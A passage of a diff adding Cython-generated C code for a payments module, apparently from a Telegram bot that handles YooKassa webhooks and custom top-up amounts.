3) || unlikely(__Pyx_GetException(&__pyx_t_13, &__pyx_t_12, &__pyx_t_11) < 0)) __Pyx_ErrFetch(&__pyx_t_13, &__pyx_t_12, &__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __pyx_t_21 = __pyx_lineno; __pyx_t_18 = __pyx_clineno; __pyx_t_30 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_ExceptionReset(__pyx_t_23, __pyx_t_24, __pyx_t_25); + } + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ErrRestore(__pyx_t_13, __pyx_t_12, __pyx_t_11); + __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_11 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __pyx_lineno = __pyx_t_21; __pyx_clineno = __pyx_t_18; __pyx_filename = __pyx_t_30; + goto __pyx_L8_except_error; + } + __pyx_L39_return: { + __Pyx_PyThreadState_assign + __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_11 = 0; __pyx_t_12 = 0; __pyx_t_13 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_11, &__pyx_t_12, &__pyx_t_13); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23) < 0)) __Pyx_ErrFetch(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_26 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_26; + __pyx_t_26 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); + } + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ErrRestore(__pyx_t_25, __pyx_t_24, __pyx_t_23); + __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_11 = 0; __pyx_t_12 = 0; __pyx_t_13 = 0; + goto __pyx_L9_except_return; + } + } + } + goto __pyx_L8_except_error; + + /* "handlers/payments/yookassa_pay.py":187 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.find_one(payment_id) + * logger.info(f" API Yookassa: {payment}") + */ + __pyx_L8_except_error:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + goto __pyx_L1_error; + __pyx_L10_try_return:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + goto __pyx_L0; + __pyx_L9_except_return:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + goto __pyx_L0; + __pyx_L11_try_end:; + } + + /* "handlers/payments/yookassa_pay.py":214 + * return web.Response(status=500) + * + * return web.Response(status=200) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 214, __pyx_L1_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_17, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_20); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + goto __pyx_L0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_17); + __Pyx_XDECREF(__pyx_t_19); + __Pyx_XDECREF(__pyx_t_20); + __Pyx_AddTraceback("yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 218, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 218, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 218, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 218, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 218, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 218, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_11generator3, __pyx_codeobj__16, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 218, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":222 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 222, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 222, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":223 + * ): + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__17) < 0) __PYX_ERR(0, 223, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yookassa) < 0) __PYX_ERR(0, 223, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":225 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 225, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":227 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":225 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__19, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 225, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 225, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 225, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":230 + * ) + * + * await state.set_state(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 230, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 230, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 230, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 230, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_13process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_13process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_13process_custom_amount_input, 